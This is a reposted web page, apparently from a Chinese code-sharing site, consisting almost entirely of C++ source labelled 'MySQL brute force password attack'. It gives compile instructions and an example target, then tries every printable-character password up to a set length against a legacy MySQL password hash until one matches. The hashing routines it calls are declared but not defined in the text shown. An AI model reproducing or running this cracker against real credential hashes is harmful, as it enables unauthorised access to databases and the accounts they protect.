| 关键词: password data char pos max encrypted include int width cout |
/////////////////////////////////////////////////////////////////////////////////////////////// // // MySQL brute force password attack // // to compile : g++ -omysqlpassword mysqlpassword.c -O6 -lm // // Written by : [email protected], current version http://term.rmci.net/mysqlpassword.cpp // #include <iostream> #include <stdio.h> #include <math.h> #include <stdlib.h> #include <string.h> // memset #include <unistd.h> // usleep using namespace std; struct rand_struct { unsigned long seed1,seed2,max_value; double max_value_dbl; }; void make_scrambled_password(char *,const char *); char *scramble(char *,const char *,const char *, int); int brute(const char *password) { // Tune stuff here, change min / max for the char range to crack and width for max password width. unsigned int min=32,max=122,pos=0,width=11,max_pos=0; unsigned char data[255]; register unsigned long long loops=0; char *encrypted_password = new char[255]; memset(encrypted_password, 0, 255); memset((char*)&data, min, 255); while(width) { loops++; if(data[pos] != max) { data[pos]++; } else { for(register int i=pos; i<max; i++) { if(data[i] != max) { data[i]++; pos=i; break; } } if(pos>max_pos) max_pos=pos; for(register int i=pos-1; i >= 0; i--) { if(i==0 && data[i] == max) { data[i] = min; pos = 0; break; } if(data[i] != max || i==0) { pos = i; break; } data[i] = min; } } if(max_pos>width) { cout<<"No match found"<<endl; width=0; return(0); } data[max_pos+1] = 0; make_scrambled_password(encrypted_password,(const char*)data); if(!strcmp(encrypted_password,password)) { cout<<"MATCH ["<<data<<"] ["<<encrypted_password<<"]==["<<password<<"]"<<endl; return(0); } data[max_pos+1] = min; if((loops%500000)==0) { cout<<"[ "<<dec<<loops<<" ]"; for(int i=0; i<=max_pos; i++) { cout<<" 0x"<<hex<<(int)data[i]; } data[max_pos+1] = 0; cout<<" ("<<data<<")"; data[max_pos+1] = min; cout<<endl; } } } int main(int argc, char* argv[]) { if(argc!=2) { fprintf(stderr,"usage : %s [ENCRYPTED MYSQL PASSWORD]\nexample , 5d2e19393cc5ef67 is encrypted value 'password' : %s 5d2e19393cc5ef67\n",argv[0],argv[0]); return(0); } brute(argv[1]); } |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|